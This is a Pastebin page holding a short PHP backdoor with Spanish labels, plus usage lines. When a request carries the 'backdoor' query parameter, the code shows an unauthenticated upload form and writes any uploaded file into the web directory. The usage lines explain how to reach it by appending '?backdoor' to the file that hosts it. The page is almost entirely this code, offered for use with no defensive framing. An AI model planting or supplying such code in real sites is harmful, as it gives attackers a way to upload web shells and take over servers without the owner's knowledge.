Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_GET['backdoor'])) {
- echo '<center>
- <form action="" method="post" enctype="multipart/form-data"> Seleccione el Archivo
- <input value="Examinar" name="archivo" type="file">
- <input value="Upload" type="submit"></form></center>';
- if (isset($_FILES['archivo']))
- {
- $ar=$_FILES['archivo']['name'];
- if (copy($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])) {
- echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; }
- elseif (move_uploaded_file($_FILES['archivo']['tmp_name'],$path . $_FILES['archivo']['name'])){
- echo '<center><h3>Archivo Subido en <a href="'.$ar.'">'.$ar.'</a></h3></center>'; }
- else { echo '<center><h3>Error al Subir Archivo</h3></center>'; } } }
- ?>
- usage: (archive).php?=backdoor
- or
- (archive).php?backdoor
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement